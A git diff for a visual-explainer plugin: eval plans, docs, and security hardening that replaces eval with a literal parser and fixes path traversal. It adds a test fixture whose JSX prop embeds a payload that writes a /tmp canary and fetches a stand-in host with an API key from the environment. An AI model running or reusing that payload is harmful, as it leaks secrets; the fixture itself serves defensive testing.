live lane** | +|---|---|---|---| +| **Catches** | Plumbing only: does a `findings[].check_id === X` verdict correctly flip check X to fail/pass with the right severity | Plumbing + real model output shape/parsing quirks (formatting, stray prose, schema drift) | End-to-end: rubric wording quality + plumbing + real model behavior | +| **Cost** | Free, no network | One-time paid capture per check, occasional paid refresh | Recurring paid calls (weekly) | +| **Flake risk** | None (fully deterministic) | None at replay time (frozen fixtures); staleness risk if rubric wording changes and recordings aren't refreshed | Real: model variance, rate limits, screenshot rendering flakiness | +| **Maintenance** | Low — fixtures are static JSON, only touched when a check's id/severity changes | Medium — needs a manual refresh script, someone has to eyeball each capture before freezing it | Low-effort per run but needs monitoring/triage of an inherently flaky signal | +| **Default-gate eligible** | Yes | Yes (replay is free) | No — explicitly excluded by plan scope | + +**Why not B for this slice:** B's stated value-add over A is testing +"response-parsing against real model output shapes." Step 1 found there is +currently **no parser at all** to stress-test — the schema is a single flat +JSON shape (`{pass, findings:[{check_id, evidence, fix}]}`) repeated +verbatim across all 7 rubric files with no per-rubric variation. There's no +evidence of parsing fragility to justify a paid capture-and-refresh +pipeline before this schema has even shipped a first consumer. Revisit B if +real usage later shows agents returning malformed/prose-wrapped verdicts. + +**Why C is out of scope for this slice:** matches the plan's explicit +out-of-scope line ("Live-model calls in CI by default"). Recommended as a +**secondary, non-blocking, unimplemented-in-this-slice** idea: an optional +weekly cron lane running 3-5 golden artifacts through a real model, wired up +only if/when rubric-prompt rot becomes a real incident. Not built here. + +### Recommendation + +**Primary: A (stub judge)**, implemented as a new `evals/run-rubrics.mjs` +that owns both the canned-verdict fixtures *and* the minimal +verdict-to-check-status plumbing (since none exists to reuse). This keeps +the default gate free and deterministic, matches the plan's LOW-risk +"additive test scaffolding" framing, and is the only option that requires no +paid API for the default gate while still proving the wiring: "if the judge +said X, does the check correctly fire/not-fire with the right severity." + +**Secondary (backlog, not built now): C**, as a future non-blocking weekly +cron lane, per the plan's Maintenance notes ("stubs can't catch rubric-prompt +rot" — schedule an occasional manual real-model run before releases). + +**One exception to the stub pattern:** `reel-caption-matches-transcript` is +implemented with the *real* deterministic word-overlap algorithm (not a +canned verdict) since Step 1 showed the common-case path needs no model at +all — this is a genuinely stronger test than a stub for this one check, and +is why the plan calls it out as "one transcript check included +deliberately." + +## Fixture naming/layout (mirrors the deterministic suite) + +Deterministic convention: `evals/fixtures/violations/.html` + +`evals/expectations.json` keyed by filename, `must_fire` / `allowed_co_fires`. + +Rubric convention (new, this plan): + +``` +evals/fixtures/rubrics// + fire.json # { "context": "<1-line human label>", "judge_response": {"pass": false, "findings": [{"check_id": "...", "evidence": "...", "fix": "..."}]} } + clean.json # { "context": "...", "judge_response": {"pass": true, "findings": []} } +``` + +This is the literal (artifact, canned-response, expected-check-outcome) +triple from option A's description: `context` stands in for the artifact +description (since the stub doesn't render real HTML/screenshots — it tests +wiring, not rendering), `judge_response` is the canned model output, and the +expected outcome is implicit in the filename (`fire.json` must flip the +check to fail/warn per its `checks.json` severity; `clean.json` must leave it +passing). + +`reel-caption-matches-transcript` deviates because it runs a real algorithm, +not a canned verdict: + +``` +evals/fixtures/rubrics/reel-caption-matches-transcript/ + fire/transcript.json # word-level {text,start,end} narration + fire/captions.json # burned-in .cap text, paraphrased vs. narration (< 90% overlap) + clean/transcript.json + clean/captions.json # verbatim captions (> 90% overlap) +``` + +Both fixture families are asserted by `evals/run-rubrics.mjs`, exposed as +`npm run ve:eval-rubrics`. + +## Parity accounting (Step 5 preview) + +30 llm-pass/transcript checks total − 6 covered by this slice = **24 +remaining**, tracked in `evals/rubric-coverage.json` (not +`evals/parity-allowlist.json` — that file is scoped to plan 003's +deterministic-stage parity gate). Full list confirmed programmatically +against `checks.json` in Step 5. diff --git a/plugins/visual-explainer/SKILL.md b/plugins/visual-explainer/SKILL.md index bfd6aad..0588cc2 100644 --- a/plugins/visual-explainer/SKILL.md +++ b/plugins/visual-explainer/SKILL.md @@ -13,13 +13,29 @@ metadata: MDX/TSX -> HTML -> verify. Never ASCII; 4+ row or 3+ column tables become HTML. +## Pipeline location + +Rendering requires the Artifacture repo (components + export pipeline). +Resolve `REPO` first: +- If `../../visual-explainer-mdx/components.tsx` exists relative to this + file, you are inside a full clone: `REPO` = the repo root (two directories + up from this file). +- Otherwise clone or update it once: `git clone --depth 1 + https://github.com/theclaymethod/artifacture ~/.artifacture` (if + `~/.artifacture` exists: `git -C ~/.artifacture pull --ff-only`), then + `npm install --prefix ~/.artifacture`. `REPO` = `~/.artifacture`. + Requires Node >= 22. + +All `npm run ve:*` commands below run from `REPO`; author your `.mdx`/`.tsx` +source anywhere and pass absolute paths. + ## Tier 0 Workflow, in order: 1. Pick the flow's card from the routing table below and read it (plus this file — nothing else for covered flows). -2. Author `.mdx` (default; `.tsx` only for state/custom SVG/video). Import shared components from `visual-explainer-mdx/components.tsx` exactly as the card skeleton shows. -3. Export: `npm run ve:export -- --out ~/.agent/diagrams/.html` (static video: `npm run ve:export-static -- --out ~/.agent/videos//index.html`). Fix any strict-export integrity errors at the source. +2. Author `.mdx` (default; `.tsx` only for state/custom SVG/video). Import shared components from `REPO/visual-explainer-mdx/components.tsx` exactly as the card skeleton shows. +3. Export: `npm --prefix REPO run ve:export -- --out ` (static video: `npm --prefix REPO run ve:export-static -- --out `). Fix any strict-export integrity errors at the source. 4. Verify (§6 below), then open the artifact and tell the user the file path. The MDX/TSX source stays the editable source of truth — apply feedback there and re-export. ## Components @@ -46,12 +62,12 @@ Presets: mono-industrial, nothing, blueprint, editorial, paper-ink, terminal, cu |Flow|Card|Tier 2| |-|-|-| -|diagram|cards/web-diagram.md|references/diagrams-svg.md; references/legacy-html.md| -|plan|cards/visual-plan.md|references/legacy-html.md| -|table|cards/comparison-table.md|references/legacy-html.md| -|slides|cards/slide-deck.md|references/slide-patterns.md; references/legacy-html.md| -|code|cards/code-walkthrough.md|references/legacy-html.md| -|explain-diff|cards/explain-diff.md|references/legacy-html.md| +|diagram|cards/web-diagram.md|references/diagrams-svg.md| +|plan|cards/visual-plan.md|| +|table|cards/comparison-table.md|| +|slides|cards/slide-deck.md|references/slide-patterns.md| +|code|cards/code-walkthrough.md|| +|explain-diff|cards/explain-diff.md|| Clarify: `./references/clarify.md`. Use components/tokens, not hand CSS/coords. Run /unslop (or apply `./scripts/verify/rubrics/pass-copy.md`) on drafted copy; poster/video/brand/bespoke -> `./references/legacy-html.md`. diff --git a/plugins/visual-explainer/cards/code-walkthrough.md b/plugins/visual-explainer/cards/code-walkthrough.md index fb7c027..d361a36 100644 --- a/plugins/visual-explainer/cards/code-walkthrough.md +++ b/plugins/visual-explainer/cards/code-walkthrough.md @@ -1,7 +1,8 @@ # Code Walkthrough Card Use `ExplainerShell`, `Section`, `CodeBlock`, `Pipeline`. Focused snippets, not whole files. ```mdx -import { ExplainerShell, Section, CodeBlock, Pipeline } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, CodeBlock, Pipeline } from 'REPO/visual-explainer-mdx/components';
diff --git a/plugins/visual-explainer/cards/comparison-table.md b/plugins/visual-explainer/cards/comparison-table.md index e3bf6d2..f9225bb 100644 --- a/plugins/visual-explainer/cards/comparison-table.md +++ b/plugins/visual-explainer/cards/comparison-table.md @@ -1,7 +1,8 @@ # Comparison Table Card Use `ExplainerShell`, `Section`, `DecisionMatrix`, optional `Callout`. Best for 4+ rows or 3+ columns. Same keys in every row. ```mdx -import { ExplainerShell, Section, DecisionMatrix, Callout } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, DecisionMatrix, Callout } from 'REPO/visual-explainer-mdx/components';
Focal move: one local file, indexed lookups, and a clear migration path if the cache becomes shared.
diff --git a/plugins/visual-explainer/cards/slide-deck.md b/plugins/visual-explainer/cards/slide-deck.md index 64f322b..2343bb6 100644 --- a/plugins/visual-explainer/cards/slide-deck.md +++ b/plugins/visual-explainer/cards/slide-deck.md @@ -3,7 +3,8 @@ Use `SlideDeck`, `Slide`, plus `DiagramCanvas`, `DecisionMatrix`, or `CodeBlock`. `orientation="horizontal"` is magazine mode. ```mdx -import { DiagramCanvas, Slide, SlideDeck } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { DiagramCanvas, Slide, SlideDeck } from 'REPO/visual-explainer-mdx/components'; diff --git a/plugins/visual-explainer/cards/visual-plan.md b/plugins/visual-explainer/cards/visual-plan.md index 0d0b2d2..30d7c8a 100644 --- a/plugins/visual-explainer/cards/visual-plan.md +++ b/plugins/visual-explainer/cards/visual-plan.md @@ -1,7 +1,8 @@ # Visual Plan Card Use `ExplainerShell`, `Section`, `Pipeline`, `DecisionMatrix`, `RiskLedger`. Real choices, one focal stat. ```mdx -import { ExplainerShell, Section, Pipeline, DecisionMatrix, RiskLedger } from '../../../visual-explainer-mdx/components'; +{/* REPO = artifacture checkout; see SKILL.md "Pipeline location" */} +import { ExplainerShell, Section, Pipeline, DecisionMatrix, RiskLedger } from 'REPO/visual-explainer-mdx/components';
**Scope**: this path is for poster, video (Hyperframes), brand/bespoke +> one-offs, and aesthetics without MDX preset support. For diagram / plan / +> table / slides / code / explain-diff flows, use the MDX pipeline +> (SKILL.md Tier 0) — do not hand-author HTML for those. + # Legacy HTML Reference Status: Tier 2 fallback. Use this file only when the MDX/React pipeline is unavailable, a Tier 1 card says none of its component paths fit, or custom work needs the former hand-authored HTML procedures, diagram prose, Mermaid shell details, aesthetics, poster, slide, or video guidance. Tier 0 and cards are the normal path. @@ -24,7 +29,7 @@ Use this source-first path by default: 1. Author the editable explainer as `.mdx`. 2. Escalate to `.tsx` when the artifact needs local React state, custom interaction, generated SVG logic, or a Hyperframes-compatible video composition. -3. Import shared primitives from `../../../visual-explainer-mdx/components.tsx`. +3. Import shared primitives from `REPO/visual-explainer-mdx/components.tsx`. Resolution of `REPO` is defined in SKILL.md "Pipeline location". 4. Export the generated artifact: ```bash @@ -58,7 +63,7 @@ Available presets: - `paper-ink` — light paper surface with ink and terracotta accents. - `terminal` — dense monospace green-on-black. -Preset tokens live in `../../../visual-explainer-mdx/global.css`; component wiring lives in `../../../visual-explainer-mdx/components.tsx`. Use preset tokens before custom Tailwind overrides so generated artifacts stay consistent across commands. +Preset tokens live in `REPO/visual-explainer-mdx/global.css`; component wiring lives in `REPO/visual-explainer-mdx/components.tsx`. Use preset tokens before custom Tailwind overrides so generated artifacts stay consistent across commands. ### Calling From Coding Agents @@ -122,7 +127,7 @@ For prose accents, see "Prose Page Elements" in `./css-patterns.md`. For everyth **What aesthetic?** **Default to Mono-Industrial** unless the user names a different one. The other aesthetics listed below remain available, but they are opt-in — they do not rotate in by default. -**Default aesthetic — Mono-Industrial (Swiss, monochrome, typography-first).** Inspired by Nothing, Braun, Teenage Engineering. Hierarchy is built from type scale, weight, and spacing — never from color. Grayscale canvas with status colors only (success / warning / error) on values themselves. Three-layer rule: display, primary, tertiary. Font budget: Space Grotesk + Space Mono + optional Geist Pixel Square for exactly one hero element per page. Zero on-load motion. One "moment of surprise" per page (an oversized number, a vast gap, a pixel-display word, a broken grid). **Before generating, read `./mono-industrial.md`.** For architecture output, base on `../templates/mono-industrial.html`. For slide decks, base on `../templates/mono-industrial-slides.html`. +**Default aesthetic — Mono-Industrial (Swiss, monochrome, typography-first).** Inspired by Nothing, Braun, Teenage Engineering. `./mono-industrial.md` is the canonical spec (three-layer rule, font budget, color system, motion, moment-of-surprise) — **read it before generating**; its rules are not restated here. For architecture output, base on `../templates/mono-industrial.html`. For slide decks, base on `../templates/mono-industrial-slides.html`. **Named alternatives (use only when the user explicitly requests one).** The aesthetics below exist for users who ask for Nothing, Blueprint, Editorial, Paper/ink, Monochrome terminal, or an IDE-inspired palette by name. Do not rotate through them on your own initiative, and do not select them as a "change of pace" for variety. diff --git a/plugins/visual-explainer/references/mono-industrial.md b/plugins/visual-explainer/references/mono-industrial.md index bfb4ff3..3c6e53c 100644 --- a/plugins/visual-explainer/references/mono-industrial.md +++ b/plugins/visual-explainer/references/mono-industrial.md @@ -1,5 +1,7 @@ # Mono-Industrial — Default Aesthetic +Canonical spec for this aesthetic. The MDX preset tokens (`visual-explainer-mdx/global.css`, `data-ve-preset='mono-industrial'`) implement it; `templates/mono-industrial.html` is a frozen legacy rendering. + Swiss typography. Monochrome canvas. Hierarchy through type, weight, and spacing — never through color. This is the default aesthetic for visual-explainer. Produce this unless the user explicitly asks for a named alternative (Blueprint, Editorial, Paper/ink, Monochrome terminal, IDE-inspired). Inspired by Nothing, Braun, Dieter Rams, Teenage Engineering. The vibe is instrument panel, not dashboard. diff --git a/plugins/visual-explainer/scripts/export-slides-pdf.mjs b/plugins/visual-explainer/scripts/export-slides-pdf.mjs index 7d1da4c..ad9c274 100755 --- a/plugins/visual-explainer/scripts/export-slides-pdf.mjs +++ b/plugins/visual-explainer/scripts/export-slides-pdf.mjs @@ -204,12 +204,13 @@ const server = http.createServer((req, res) => { return; } // Serve sibling assets (images, fonts, etc.) from the input's directory. - const assetPath = path.join(inputDir, decodeURIComponent(url.split('?')[0])); - if (!assetPath.startsWith(inputDir) || !fs.existsSync(assetPath)) { + const resolved = path.resolve(inputDir, '.' + path.sep + decodeURIComponent(url.split('?')[0])); + if ((!resolved.startsWith(inputDir + path.sep) && resolved !== inputDir) || !fs.existsSync(resolved)) { res.writeHead(404); res.end('not found'); return; } + const assetPath = resolved; const ext = path.extname(assetPath).toLowerCase(); const ct = { '.png':'image/png', '.jpg':'image/jpeg', '.jpeg':'image/jpeg', @@ -221,7 +222,7 @@ const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': ct }); fs.createReadStream(assetPath).pipe(res); }); -await new Promise(resolve => server.listen(port, resolve)); +await new Promise(resolve => server.listen(port, '127.0.0.1', resolve)); // ---------- 4. Render ---------- const browser = await chromium.launch(); @@ -230,6 +231,12 @@ const context = await browser.newContext({ deviceScaleFactor: 2, }); const page = await context.newPage(); +const ALLOWED_REMOTE = ['https://fonts.googleapis.com', 'https://fonts.gstatic.com', 'https://cdn.jsdelivr.net/npm/mermaid@', `http://127.0.0.1:${port}`]; +await page.route('**/*', (route) => { + const url = route.request().url(); + const allowed = url.startsWith('file:') || url.startsWith('data:') || url.startsWith('blob:') || ALLOWED_REMOTE.some((origin) => url.startsWith(origin)); + return allowed ? route.continue() : route.abort('blockedbyclient'); +}); try { await page.goto(`http://127.0.0.1:${port}/`, { waitUntil: 'networkidle', timeout: 20000 }); diff --git a/plugins/visual-explainer/scripts/verify/CONTRACT.md b/plugins/visual-explainer/scripts/verify/CONTRACT.md index 0a7f988..2eb6de8 100644 --- a/plugins/visual-explainer/scripts/verify/CONTRACT.md +++ b/plugins/visual-explainer/scripts/verify/CONTRACT.md @@ -2,7 +2,7 @@ All implementation runs code against this contract. Do not change exported names/shapes. Plain JS (ESM, `.mjs`), Node 22. NO TypeScript syntax. NO npm/npx invocations anywhere -(broken on this machine) — direct `node` + imports only. +(by design, so it runs with no package-manager dependency) — direct `node` + imports only. ## Dependencies diff --git a/plugins/visual-explainer/scripts/verify/SPEC.md b/plugins/visual-explainer/scripts/verify/SPEC.md index a9e67e7..b4cf08e 100644 --- a/plugins/visual-explainer/scripts/verify/SPEC.md +++ b/plugins/visual-explainer/scripts/verify/SPEC.md @@ -39,7 +39,7 @@ node plugins/visual-explainer/scripts/verify/ve-verify.mjs \ ``` - Exit 0 = no errors (warns allowed). Exit 1 = ≥1 error-severity failure. Exit 2 = engine crash. -- NEVER use npm/npx (broken on this machine): direct `node` + `import('playwright-core')`. +- The verifier runs via bare `node` with direct `import('playwright-core')` — no npm/npx at runtime, so it works in minimal agent environments. - playwright-core + linkedom added to package.json devDependencies (pin what's in node_modules: playwright-core 1.60.0). - Browser stage matrix: {1440×900, 390×844} × {light, dark} → 4 runs; screenshots saved as `/-.png` + full-page variants. Console messages + failed requests diff --git a/plugins/visual-explainer/scripts/verify/checks.json b/plugins/visual-explainer/scripts/verify/checks.json index 85aa0f2..12ef184 100644 --- a/plugins/visual-explainer/scripts/verify/checks.json +++ b/plugins/visual-explainer/scripts/verify/checks.json @@ -2093,17 +2093,17 @@ { "family": "F5_slides", "id": "autofit-safety-net-present-and-ordered", - "title": "autoFit safety net exists and runs before SlideEngine init", + "title": "autofit text safety-net marker present", "profiles": [ "slides" ], "stage": "static-text", "severity": "error", - "applies_when": "The page instantiates the slide engine (`new SlideEngine(` appears in an inline script). Skip if no SlideEngine (not an engine-driven deck).", - "spec": "In inline '); @@ -49,11 +78,105 @@ async function assertGenerated(filePath) { if (failures.length) throw new Error(`${filePath}: ${failures.join(', ')}`); } +// check.mjs's `outputs` are client-hydrated (CSR): the raw build artifact is +// always just `
` plus a bundled module script — the +// real page text only exists once that script runs in a browser. Measuring +// "visible text" on that raw file is a no-op (it reads 0 chars for every +// source, working or broken), so it cannot catch a component whose React +// tree renders empty. Instead, render the same SOURCE through +// export-static.mjs's renderToStaticMarkup path (already wired in below) to +// an ephemeral temp file and measure THAT — a faithful, deterministic, +// browser-free reflection of what the component tree actually produces. +async function assertSourceRendersContent(sourcePath) { + const tempOut = path.join(repoRoot, '.ve-mdx-tmp', `content-probe-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2)}.html`); + await fs.mkdir(path.dirname(tempOut), { recursive: true }); + try { + await runStatic([sourcePath, '--out', tempOut]); + const html = await fs.readFile(tempOut, 'utf8'); + const textLength = documentTextLength(html); + if (textLength <= MIN_BODY_TEXT_LENGTH) { + throw new Error(`${sourcePath}: rendered content is only ${textLength} chars (need > ${MIN_BODY_TEXT_LENGTH}) — React tree may be rendering empty`); + } + } finally { + await fs.rm(tempOut, { force: true }); + } +} + +// export-static.mjs renders the source's own returned tree via +// renderToStaticMarkup — there is no build shell, no injected generator +// marker, no id="root", and no bundled ', - ); - - await fs.writeFile( - path.join(tmp, 'src/main.jsx'), - `import React from 'react';\nimport { createRoot } from 'react-dom/client';\nimport ${JSON.stringify(viteFsPath(path.join(repoRoot, 'visual-explainer-mdx/global.css')))};\nimport Source from ${JSON.stringify(viteFsPath(source))};\n\ncreateRoot(document.getElementById('root')).render();\n`, - ); - - await build({ - root: tmp, - base: './', - logLevel: 'warn', - plugins: [veMdxPreflightPlugin(source, draft), mdx(), react(), tailwindcss()], - server: { - fs: { - allow: [repoRoot, tmp], + try { + const dist = path.join(tmp, 'dist'); + await fs.mkdir(path.join(tmp, 'src'), { recursive: true }); + + await fs.writeFile( + path.join(tmp, 'index.html'), + 'Visual Explainer
', + ); + + await fs.writeFile( + path.join(tmp, 'src/main.jsx'), + `import React from 'react';\nimport { createRoot } from 'react-dom/client';\nimport ${JSON.stringify(viteFsPath(path.join(repoRoot, 'visual-explainer-mdx/global.css')))};\nimport Source from ${JSON.stringify(viteFsPath(source))};\n\ncreateRoot(document.getElementById('root')).render();\n`, + ); + + await build({ + root: tmp, + base: './', + logLevel: 'warn', + plugins: [veMdxPreflightPlugin(source, draft), mdx(), react(), tailwindcss()], + server: { + fs: { + allow: [repoRoot, tmp], + }, }, - }, - build: { - outDir: dist, - emptyOutDir: true, - assetsInlineLimit: Number.MAX_SAFE_INTEGER, - cssCodeSplit: false, - rollupOptions: { - output: { - inlineDynamicImports: true, + build: { + outDir: dist, + emptyOutDir: true, + assetsInlineLimit: Number.MAX_SAFE_INTEGER, + cssCodeSplit: false, + rollupOptions: { + output: { + inlineDynamicImports: true, + }, }, }, - }, - }); - - const html = await fs.readFile(path.join(dist, 'index.html'), 'utf8'); - const generated = await inlineAssets(html, dist); - await fs.mkdir(path.dirname(out), { recursive: true }); - await fs.writeFile(out, generated); - console.log(`Generated ${out}`); + }); + + const html = await fs.readFile(path.join(dist, 'index.html'), 'utf8'); + const generated = await inlineAssets(html, dist); + await fs.mkdir(path.dirname(out), { recursive: true }); + await fs.writeFile(out, generated); + console.log(`Generated ${out}`); + } finally { + await fs.rm(tmp, { recursive: true, force: true }); + } } function veMdxPreflightPlugin(source, draft) { diff --git a/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx b/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx new file mode 100644 index 0000000..1172eb7 --- /dev/null +++ b/scripts/ve-mdx/fixtures/malicious-nodes-exec.mdx @@ -0,0 +1,14 @@ +import { DiagramCanvas, ExplainerShell, Section } from '../../../visual-explainer-mdx/components'; + +export default function MaliciousNodesExecFixture() { + return ( + +
+ { const fsMod = await import('node:fs'); fsMod.writeFileSync('/tmp/p002-canary', 'exfiltrated'); return fetch('http://p002-canary-test.invalid/?key=' + process.env.OPENROUTER_API_KEY); })()]} + edges={[]} + /> +
+
+ ); +} diff --git a/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx b/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx new file mode 100644 index 0000000..2cd19e6 --- /dev/null +++ b/scripts/ve-mdx/fixtures/malicious-template-interpolation.mdx @@ -0,0 +1,14 @@ +import { DiffBlock, ExplainerShell, Section } from '../../../visual-explainer-mdx/components'; + +export default function MaliciousTemplateInterpolationFixture() { + return ( + +
+ +
+
+ ); +} diff --git a/scripts/ve-mdx/integrity.mjs b/scripts/ve-mdx/integrity.mjs index a3279ef..c2da65b 100644 --- a/scripts/ve-mdx/integrity.mjs +++ b/scripts/ve-mdx/integrity.mjs @@ -1,7 +1,11 @@ import { codeToHtml } from 'shiki'; const diagramComponents = new Set(['DiagramCanvas', 'FlowDiagram']); -const sharedComponents = new Set([ +// Exported so scripts/ve-mdx/check.mjs can assert this set stays in sync with +// components.tsx's actual named exports (roster-sync guard, plan 008 step 5). +// Contents are unchanged — this only adds visibility, not a refactor of how +// the set is built. +export const sharedComponents = new Set([ 'ExplainerShell', 'Section', 'Callout', @@ -307,9 +311,21 @@ function findBalanced(input, start, open, close) { return -1; } +// evaluateLiteral parses a JSX prop expression as a bounded literal — it never +// executes source. Only object/array literals, strings (single/double/ +// backtick without `${` interpolation), numbers, booleans, and null are +// accepted; anything else (identifiers, calls, spreads, arrow functions, +// template interpolation) is rejected with the same diagnostic shape the +// previous eval-based evaluator produced. function evaluateLiteral(expr, file, label, diagnostics) { try { - return Function(`"use strict"; return (${expr});`)(); + const state = { input: expr, pos: 0 }; + const value = parseLiteralValue(state); + skipLiteralWhitespace(state); + if (state.pos !== state.input.length) { + throw new Error(`non-literal expression: unexpected trailing content at position ${state.pos}`); + } + return value; } catch (cause) { diagnostics.push(error(file, label, `could not evaluate literal props: ${cause instanceof Error ? cause.message : cause}`)); return null; @@ -321,6 +337,194 @@ function isLiteralExpression(expr) { return trimmed.startsWith('[') || trimmed.startsWith('{') || trimmed.startsWith('`') || trimmed.startsWith('"') || trimmed.startsWith("'"); } +function skipLiteralWhitespace(state) { + while (state.pos < state.input.length && /\s/.test(state.input[state.pos])) state.pos += 1; +} + +function literalPeek(state) { + return state.input[state.pos]; +} + +function literalExpect(state, char) { + if (state.input[state.pos] !== char) { + throw new Error(`non-literal expression: expected "${char}" at position ${state.pos}, got "${state.input[state.pos] ?? 'EOF'}"`); + } + state.pos += 1; +} + +function parseLiteralValue(state) { + skipLiteralWhitespace(state); + const char = literalPeek(state); + if (char === '{') return parseLiteralObject(state); + if (char === '[') return parseLiteralArray(state); + if (char === '"' || char === "'") return parseLiteralString(state, char); + if (char === '`') return parseLiteralTemplate(state); + if (char === '-' || (char >= '0' && char <= '9')) return parseLiteralNumber(state); + if (state.input.startsWith('true', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 4] ?? '')) { + state.pos += 4; + return true; + } + if (state.input.startsWith('false', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 5] ?? '')) { + state.pos += 5; + return false; + } + if (state.input.startsWith('null', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 4] ?? '')) { + state.pos += 4; + return null; + } + if (state.input.startsWith('undefined', state.pos) && !/[A-Za-z0-9_$]/.test(state.input[state.pos + 9] ?? '')) { + state.pos += 9; + return undefined; + } + throw new Error(`non-literal expression at position ${state.pos}`); +} + +function parseLiteralObject(state) { + literalExpect(state, '{'); + const obj = {}; + skipLiteralWhitespace(state); + if (literalPeek(state) === '}') { + state.pos += 1; + return obj; + } + for (;;) { + skipLiteralWhitespace(state); + if (state.input.startsWith('...', state.pos)) { + throw new Error(`non-literal expression: spread syntax is not allowed at position ${state.pos}`); + } + const key = parseLiteralObjectKey(state); + skipLiteralWhitespace(state); + literalExpect(state, ':'); + obj[key] = parseLiteralValue(state); + skipLiteralWhitespace(state); + if (literalPeek(state) === ',') { + state.pos += 1; + skipLiteralWhitespace(state); + if (literalPeek(state) === '}') { + state.pos += 1; + break; + } + continue; + } + literalExpect(state, '}'); + break; + } + return obj; +} + +function parseLiteralObjectKey(state) { + const char = literalPeek(state); + if (char === '"' || char === "'") return parseLiteralString(state, char); + if (char === '[') { + throw new Error(`non-literal expression: computed object keys are not allowed at position ${state.pos}`); + } + const match = /^[A-Za-z_$][A-Za-z0-9_$]*/.exec(state.input.slice(state.pos)); + if (!match) throw new Error(`non-literal expression: expected object key at position ${state.pos}`); + state.pos += match[0].length; + return match[0]; +} + +function parseLiteralArray(state) { + literalExpect(state, '['); + const arr = []; + skipLiteralWhitespace(state); + if (literalPeek(state) === ']') { + state.pos += 1; + return arr; + } + for (;;) { + skipLiteralWhitespace(state); + if (state.input.startsWith('...', state.pos)) { + throw new Error(`non-literal expression: spread syntax is not allowed at position ${state.pos}`); + } + arr.push(parseLiteralValue(state)); + skipLiteralWhitespace(state); + if (literalPeek(state) === ',') { + state.pos += 1; + skipLiteralWhitespace(state); + if (literalPeek(state) === ']') { + state.pos += 1; + break; + } + continue; + } + literalExpect(state, ']'); + break; + } + return arr; +} + +function parseLiteralString(state, quote) { + literalExpect(state, quote); + let result = ''; + for (;;) { + if (state.pos >= state.input.length) throw new Error('non-literal expression: unterminated string literal'); + const char = state.input[state.pos]; + if (char === quote) { + state.pos += 1; + break; + } + if (char === '\\') { + state.pos += 1; + result += unescapeLiteralChar(state); + continue; + } + result += char; + state.pos += 1; + } + return result; +} + +function parseLiteralTemplate(state) { + literalExpect(state, '`'); + let result = ''; + for (;;) { + if (state.pos >= state.input.length) throw new Error('non-literal expression: unterminated template literal'); + const char = state.input[state.pos]; + if (char === '`') { + state.pos += 1; + break; + } + if (char === '$' && state.input[state.pos + 1] === '{') { + throw new Error(`non-literal expression: template literal interpolation is not allowed at position ${state.pos}`); + } + if (char === '\\') { + state.pos += 1; + result += unescapeLiteralChar(state); + continue; + } + result += char; + state.pos += 1; + } + return result; +} + +function unescapeLiteralChar(state) { + const esc = state.input[state.pos]; + state.pos += 1; + switch (esc) { + case 'n': return '\n'; + case 't': return '\t'; + case 'r': return '\r'; + case 'b': return '\b'; + case 'f': return '\f'; + case '0': return '\0'; + case "'": return "'"; + case '"': return '"'; + case '`': return '`'; + case '\\': return '\\'; + case '\n': return ''; + default: return esc; + } +} + +function parseLiteralNumber(state) { + const match = /^-?\d+(\.\d+)?([eE][+-]?\d+)?/.exec(state.input.slice(state.pos)); + if (!match) throw new Error(`non-literal expression: invalid number at position ${state.pos}`); + state.pos += match[0].length; + return Number(match[0]); +} + function checkDiagramClip(nodes, forcedViewBox) { if (!Array.isArray(forcedViewBox)) return []; const [x, y, width, height] = forcedViewBox.map(Number); diff --git a/visual-explainer-mdx/components.tsx b/visual-explainer-mdx/components.tsx index f5479ed..5375dad 100644 --- a/visual-explainer-mdx/components.tsx +++ b/visual-explainer-mdx/components.tsx @@ -1,4 +1,5 @@ import React, { useEffect, useId, useMemo, useRef, useState, type ReactNode } from 'react'; +import { edgePath, labelLeaderEndpoint, layoutDiagram, mobileConnectorEdges, splitSvgText, wrapWords, type LaidOutNode } from './diagram-layout'; export type VisualPreset = 'mono-industrial' | 'nothing' | 'blueprint' | 'editorial' | 'paper-ink' | 'terminal' | 'custom'; @@ -429,21 +430,6 @@ function MobileSwimlaneVariant({ diagram }: { diagram: ReturnType, index: number) { - const nextIndex = index + 1; - const incoming = edges.filter(({ edge }) => { - const fromIndex = nodeOrder.get(edge.from); - const toIndex = nodeOrder.get(edge.to); - return fromIndex !== undefined && toIndex === nextIndex && fromIndex < toIndex; - }); - if (incoming.length) return incoming.slice(0, 3); - return edges.filter(({ edge }) => { - const fromIndex = nodeOrder.get(edge.from); - const toIndex = nodeOrder.get(edge.to); - return fromIndex === index && toIndex !== undefined && toIndex > fromIndex; - }).slice(0, 3); -} - export function FlowDiagram({ nodes, edges }: FlowDiagramProps) { return ; } @@ -708,465 +694,6 @@ export function MermaidBlock({ chart, caption }: MermaidBlockProps) { ); } -type LaidOutNode = DiagramNode & { - x: number; - y: number; - width: number; - height: number; - rank: number; - row: number; - order: number; - isAccented: boolean; -}; - -type Point = { x: number; y: number }; -type Rect = { x: number; y: number; width: number; height: number }; -type SwimlaneOrientation = 'horizontal' | 'vertical'; - -type LaidOutEdge = { - edge: DiagramEdge; - from: LaidOutNode; - to: LaidOutNode; - path: Point[]; - label?: EdgeLabelLayout; -}; - -type EdgeLabelLayout = { - x: number; - y: number; - width: number; - height: number; - lines: string[]; - anchor: Point; - leader?: boolean; -}; - -type LegendEntry = { - label: string; - accent?: boolean; - dashed?: boolean; -}; - -function layoutDiagram( - nodes: DiagramNode[], - edges: DiagramEdge[], - layout: NonNullable, - lanes?: DiagramCanvasProps['lanes'], - dates?: string[], -) { - const rankMap = computeRanks(nodes, edges); - const dense = nodes.length >= 7 || edges.length >= 10; - const nodeHeight = dense ? 76 : 96; - const columnGap = layout === 'timeline' ? 180 : layout === 'swimlane' ? (dense ? 176 : 204) : dense ? 204 : 240; - const rowGap = layout 